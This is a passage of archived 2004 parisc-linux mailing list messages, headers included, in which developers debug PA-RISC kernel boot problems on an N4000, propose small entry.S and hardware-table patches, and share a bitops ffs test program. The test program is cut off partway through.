> > because I didn't realized enough test after that; or a new pb coming
with
> > 2.6.8? I laready tried to revert patches step by step from 2.6.7-pa15=

> to
> > pa8 against 2.6.8-rc2-pa1, but it didn't help yet :( )
> >
I revert 2.6.8-pa1 from 2.6.7-pa15 until 2.6.7-pa7 (the last know running=

2.6.7)  on this N4k with the n4000_defconfig and that's working. I mean
it is definitely not the upgrade 2.6.7 to 2.6.8 the cause of this pb, not=

more the n4000_defconfig.
So the weird stuff is in 'CONFIG_DISCONTIGMEM' patch even if the pb occur=
es
when this option is selected or not.

It's perfectly runing on the b2k (64bit kernel) (I suppose also on the n4=
k
that Randolph test also but with more ram than I)
but not on this n4k in particular?

Randolph may be have you another idea, the last DISCONTIGMEM patch runnin=
g
on this system was the first that you called 'try2' then diepest changes
occurs (the most difficult to understand for me are allways *.S :( ). 
umm I don't think that it's possible to split it in smallest hunk?

Joel



-------------------------------------------------------------------------=
--
Tiscali ADSL LIGHT, 19,95 EUR/mois pendant 6 mois, c'est le moment de fai=
re
le pas!
http://reg.tiscali.be/default.asp?lg=3Dfr




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 
	Re: =?ISO-8859-1?Q?2=2E6=2E8=2Drc2=20Fix=5Bwas=3A=20=5Bparisc=2Dlinux=5D=20k=2D2=2E6=2E8=2Drc2=2Dpa0=20failled=20to=20boot=20in=09muRO
Date: Thu, 29 Jul 2004 12:55:04 -0400 (EDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <200407291655.i6TGt4Xa001858@hiauly1.hia.nrc.ca>
References: <40FB8964000051B2@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624466 25649 80.91.229.3 (22 Nov 2014 02:47:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:46 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 24268 invoked by uid 65534); 29 Jul 2004 16:55:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx045) with SMTP; 29 Jul 2004 18:55:45 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1AA0B3BEB2; Thu, 29 Jul 2004 10:55:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01268-05; Thu, 29 Jul 2004 10:55:38 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9533C3BEB1; Thu, 29 Jul 2004 10:55:14 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ADFAC3BEAD
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Jul 2004 10:55:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 01268-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Jul 2004 10:55:09 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id A0A723BEA8
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Jul 2004 10:55:09 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id C707049421F; Thu, 29 Jul 2004 10:55:08 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by palinux.hppa (Postfix) with ESMTP id 4846A494167
	for <parisc-linux@parisc-linux.org>;
	Thu, 29 Jul 2004 10:55:06 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i6TGt5Cp001859; Thu, 29 Jul 2004 12:55:05 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i6TGt4Xa001858;
	Thu, 29 Jul 2004 12:55:04 -0400 (EDT)
In-Reply-To: <40FB8964000051B2@ocpmta2.freegates.net> from "Joel Soete" at Jul
	29, 2004 05:31:27 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24885

> Well here is my fix:
> --- linux-2.6.8-rc2-pa2+/arch/parisc/kernel/entry.S.Orig	2004-07-29 10:59:50.000000000
> +0200
> +++ linux-2.6.8-rc2-pa2+/arch/parisc/kernel/entry.S	2004-07-29 11:04:32.000000000
> +0200
> @@ -494,6 +494,7 @@
>  	 * under 4GB of memory) */
>  	.macro		L3_ptep pgd,pte,index,va,fault
>  	extrd,u		\va,63-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
> +	copy		%r0,\pte
>  	extrd,u,*=	\va,31,32,%r0
>  	ldw,s		\index(\pgd),\pgd
>  	extrd,u,*=	\va,31,32,%r0
> ======><======

> Well I couldn't yet explain why that's required :( !

Just after the last insn above is the insn:

	bb,>=,n         \pgd,_PxD_PRESENT_BIT,\fault

You are setting pte to 0 for the case when the branch is taken.
The L2_ptep macro does this, so it makes some sense.  It's somewhat
tricky to track the uses of the register when a fault occurs.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] "Unknown machine at ..." on N4k
Date: Thu, 22 Jul 2004 17:34:29 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20040722233429.GA27361@colo.lackof.org>
References: <20040720182500.GA11659@colo.lackof.org>
	<40FB896400001774@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624466 25653 80.91.229.3 (22 Nov 2014 02:47:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:46 +0000 (UTC)
Cc: List Parisc <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 4591 invoked by uid 65534); 22 Jul 2004 23:35:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx026) with SMTP; 23 Jul 2004 01:35:55 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0B6BA3BE50; Thu, 22 Jul 2004 17:35:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15470-03; Thu, 22 Jul 2004 17:35:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 372E63BE3A; Thu, 22 Jul 2004 17:34:42 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 143053BE17
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Jul 2004 17:34:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13584-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Jul 2004 17:34:33 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id F18DD3BDDB
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Jul 2004 17:34:32 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 6F2BA4946BD; Thu, 22 Jul 2004 17:34:32 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP
	id A67194946B9; Thu, 22 Jul 2004 17:34:31 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 84F1029803F; Thu, 22 Jul 2004 17:34:30 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26875-08; Thu, 22 Jul 2004 17:34:29 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C5561298038; Thu, 22 Jul 2004 17:34:29 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <40FB896400001774@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24886

On Thu, Jul 22, 2004 at 08:05:32AM +0200, Joel Soete wrote:
> umm I was curious to know why the code find sversion=0x0 while
> hp_hardware_list awaiting 0x4 (as for all other CPUs)?
> (a firmware pb, another pdc location or awaited 0x4 is wrong in my case
> (I can only test one N) and another entry should be added with sversion=0x0?)

I suggest just adding another entry to hp_hardware_list[].
It's either a bug in either the PDC implementation or the IO ACD
(Arch Control Doc) we took the initial table from. I'm much more
inclined to believe we transposed/updated the table incorrectly.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] "Unknown machine at ..." on N4k
Date: Fri, 23 Jul 2004 15:10:21 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <40FB87C4000023C7@ocpmta3.freegates.net>
References: <20040722233429.GA27361@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624467 25657 80.91.229.3 (22 Nov 2014 02:47:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:47 +0000 (UTC)
Cc: List Parisc <parisc-linux@parisc-linux.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 20501 invoked by uid 65534); 23 Jul 2004 13:11:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx060) with SMTP; 23 Jul 2004 15:11:17 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3016C3BE55; Fri, 23 Jul 2004 07:11:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21699-07; Fri, 23 Jul 2004 07:11:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 76C573BE3F; Fri, 23 Jul 2004 07:10:34 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 671D03BE37
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Jul 2004 07:10:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 21658-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Jul 2004 07:10:27 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 314B83BDDB
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Jul 2004 07:10:27 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 6EC6A4946C4; Fri, 23 Jul 2004 07:10:24 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (webmail-benelux.tiscali.be [62.235.14.106])
	by palinux.hppa (Postfix) with ESMTP
	id BCFFB4946B9; Fri, 23 Jul 2004 07:10:23 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Fri, 23 Jul 2004 15:10:21 +0200
In-Reply-To: <20040722233429.GA27361@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24887


Grant,

> 
> On Thu, Jul 22, 2004 at 08:05:32AM +0200, Joel Soete wrote:
> > umm I was curious to know why the code find sversion=3D0x0 while
> > hp_hardware_list awaiting 0x4 (as for all other CPUs)?
> > (a firmware pb, another pdc location or awaited 0x4 is wrong in my ca=
se
> > (I can only test one N) and another entry should be added with sversi=
on=3D0x0?)
> 
> I suggest just adding another entry to hp_hardware_list[].
> It's either a bug in either the PDC implementation or the IO ACD
> (Arch Control Doc) we took the initial table from. I'm much more
> inclined to believe we transposed/updated the table incorrectly.
> 
Something like:
--- arch/parisc/kernel/hardware.c.ORIG	2004-06-07 08:18:42.000000000 +020=
0
+++ arch/parisc/kernel/hardware.c	2004-07-23 08:43:59.000000000 +0200
@@ -209,6 +209,7 @@
 	{HPHW_NPROC,0x5D0,0x4,0x81,"Kazoo W+"},
 	{HPHW_NPROC,0x5D1,0x4,0x91,"Forte W+ 2w"},
 	{HPHW_NPROC,0x5D2,0x4,0x91,"Forte W+ 4w"},
+	{HPHW_NPROC,0x5D3,0x0,0x91,"Prelude W+ 540"},
 	{HPHW_NPROC,0x5D3,0x4,0x91,"Prelude W+ 540"},
 	{HPHW_NPROC,0x5D4,0x4,0x91,"Duet W+"},
 	{HPHW_NPROC,0x5D5,0x4,0x91,"Crescendo 550"},
=3D=3D=3D=3D=3D=3D><=3D=3D=3D=3D=3D=3D

do:
[...]
17. Elroy PCI Bridge at 0xfffffffffecf8000 [1/12] { 13, 0x0, 0x782, 0x000=
0a
}
18. DEW BC Runway Port at 0xfffffffffed24000 [36] { 7, 0x0, 0x584, 0x0000=
c
}
19. Prelude W+ 540 at 0xfffffffffed25000 [37] { 0, 0x0, 0x5d3, 0x00000 }
20. DEW BC Runway Port at 0xfffffffffed2c000 [44] { 7, 0x0, 0x584, 0x0000=
c
}
21. Prelude W+ 540 at 0xfffffffffed2d000 [45] { 0, 0x0, 0x5d3, 0x00000 }
CONFIG_SMP=3Dn  ignoring additional CPUs
CPU: probe of parisc45 failed with error 1
CPU(s): 1 x PA8600 (PCX-W+) at 550.000000 MHz
SBA found Ike rev 2 at 0xfffffffffed00000
[...]

Is anybody else has such model to test it?

hth,
    Joel


-------------------------------------------------------------------------=
--
Tiscali ADSL LIGHT, 19,95 EUR/mois pendant 6 mois, c'est le moment de fai=
re
le pas!
http://reg.tiscali.be/default.asp?lg=3Dfr




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] uninline in bitops.c as ia64 or sparc64?
Date: Wed, 11 Aug 2004 13:58:01 +0200
Lines: 195
Approved: news@gmane.org
Message-ID: <40FB89640000B461@ocpmta2.freegates.net>
References: <200408101145.20933.mszick@goquest.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624467 25663 80.91.229.3 (22 Nov 2014 02:47:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:47 +0000 (UTC)
To: "Michael S. Zick" <mszick@goquest.com>,
 parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 8933 invoked by uid 65534); 11 Aug 2004 11:59:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx060) with SMTP; 11 Aug 2004 13:59:09 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6CE803BDE2; Wed, 11 Aug 2004 05:58:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32053-06; Wed, 11 Aug 2004 05:58:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7CF943BDEE; Wed, 11 Aug 2004 05:58:20 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E3543BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Aug 2004 05:58:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 32047-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Aug 2004 05:58:11 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 0A45A3BDCB
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Aug 2004 05:58:11 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 675234946AA; Wed, 11 Aug 2004 05:58:10 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (webmail-benelux.tiscali.be [62.235.14.106])
	by palinux.hppa (Postfix) with ESMTP id CEFE94946A5
	for <parisc-linux@parisc-linux.org>;
	Wed, 11 Aug 2004 05:58:09 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 11 Aug 2004 13:58:01 +0200
In-Reply-To: <200408101145.20933.mszick@goquest.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24888


Hello *,

> Subject: Re: [parisc-linux] uninline in bitops.c as ia64 or sparc64?
> 
> 
> On Tue August 10 2004 09:51, John David Anglin wrote:
> > > On Mon, Aug 09, 2004 at 09:54:08AM -0500, Michael S. Zick wrote:
> > > > generic_ffz is defined as integer - is 'integer' the same size
> > > > cpu32 and cpu64?  If not, that routine needs a size-conditional
> > > > test for the other 32 bits on cpu64.
> > > 
> > > Integers are the same size. The 64-bit boxes are LP64.
> > 
> > To be more specific, the 'int' types are the same size.  The 'long'
> > types are different.
> > 
> > Dave
> Thanks -
> I was able to get my other questions answered with
> a little bit of work with the x-compiler and code snippets.
> 
> I am beginning to think I will learn more than I ever wanted
> to know about a hand-full of hp-instructions before I am done.
> 
> Still, it is an interesting problem and Joel has volunteered
> to test.
> 
Here is the smal test case I tested:
#ifndef __LP64__
#include <stdio.h>
#include <limits.h>
#else
#include "64bit/lib/headers.h"

#define print1(str, num) \
	print(str); \
	hex((unsigned long)num, buf); \
	print(buf); \
	print("\n")
#endif


/*
 * ffs: find first bit set. This is defined the same way as
 * the libc and compiler builtin ffs routines, therefore
 * differs in spirit from the above ffz (man ffs).
 */

/* Extended version for ulong param x */

static __inline__ unsigned long generic_ffs(unsigned long x)
{
        unsigned long r =3D 1;

        if (!x)
                return 0;
#ifdef __LP64__
        if (!(x & 0xffffffffUL)) {
                x >>=3D 32;
                r +=3D 32;
        }
#endif
        if (!(x & 0xffffUL)) {
                x >>=3D 16;
                r +=3D 16;
        }
        if (!(x & 0xffUL)) {
                x >>=3D 8;
                r +=3D 8;
        }
        if (!(x & 0xfUL)) {
                x >>=3D 4;
                r +=3D 4;
        }
        if (!(x & 3UL)) {
                x >>=3D 2;
                r +=3D 2;
        }
        if (!(x & 1UL)) {
                x >>=3D 1;
                r +=3D 1;
        }
        return r;
}

static __inline__ unsigned long __ffs(unsigned long x)
{
	unsigned long ret;

	__asm__(
#ifdef __LP64__
		" ldi       63,%1\n"
		" extrd,u,*<>  %0,63,32,%%r0\n"
		" extrd,u,*TR  %0,31,32,%0\n"	/* move top 32-bits down */
		" addi    -32,%1,%1\n"
		" extrd,u,*<>  %0,63,16,%%r0\n"
		" extrd,u,*TR  %0,47,16,%0\n"   /* xxxx0000 -> 0000xxxx */
		" addi    -16,%1,%1\n"
		" extrd,u,*<>  %0,63,8,%%r0\n"
		" extrd,u,*TR  %0,55,8,%0\n"    /* 0000xx00 -> 000000xx */
		" addi    -8,%1,%1\n"
		" extrd,u,*<>  %0,63,4,%%r0\n"
		" extrd,u,*TR  %0,59,4,%0\n"    /* 000000x0 -> 0000000x */
		" addi    -4,%1,%1\n"
		" extrd,u,*<>  %0,63,2,%%r0\n"
		" extrd,u,*TR  %0,61,2,%0\n"    /* 0000000y, 1100b -> 0011b */
		" addi    -2,%1,%1\n"
		" extrd,u,*=3D  %0,63,1,%%r0\n"   /* check last bit */
		" addi    -1,%1,%1\n"
#else
		" ldi       31,%1\n"
		" extru,<>  %0,31,16,%%r0\n"
		" extru,TR  %0,15,16,%0\n"	/* xxxx0000 -> 0000xxxx */
		" addi    -16,%1,%1\n"
		" extru,<>  %0,31,8,%%r0\n"
		" extru,TR  %0,23,8,%0\n"	/* 0000xx00 -> 000000xx */
		" addi    -8,%1,%1\n"
		" extru,<>  %0,31,4,%%r0\n"
		" extru,TR  %0,27,4,%0\n"	/* 000000x0 -> 0000000x */
		" addi    -4,%1,%1\n"
		" extru,<>  %0,31,2,%%r0\n"
		" extru,TR  %0,29,2,%0\n"	/* 0000000y, 1100b -> 0011b */
		" addi    -2,%1,%1\n"
		" extru,=3D  %0,31,1,%%r0\n"	/* check last bit */
		" addi    -1,%1,%1\n"
#endif
			: "+r" (x), "=3Dr" (ret) );
	return ret;
}

static unsigned long ULffs(unsigned long x)
{
	return x ? (__ffs((unsigned long)x) + 1) : 0;
}

main()
{
	char buf[512];
	unsigned long i, Extrd;

#ifndef __LP64__
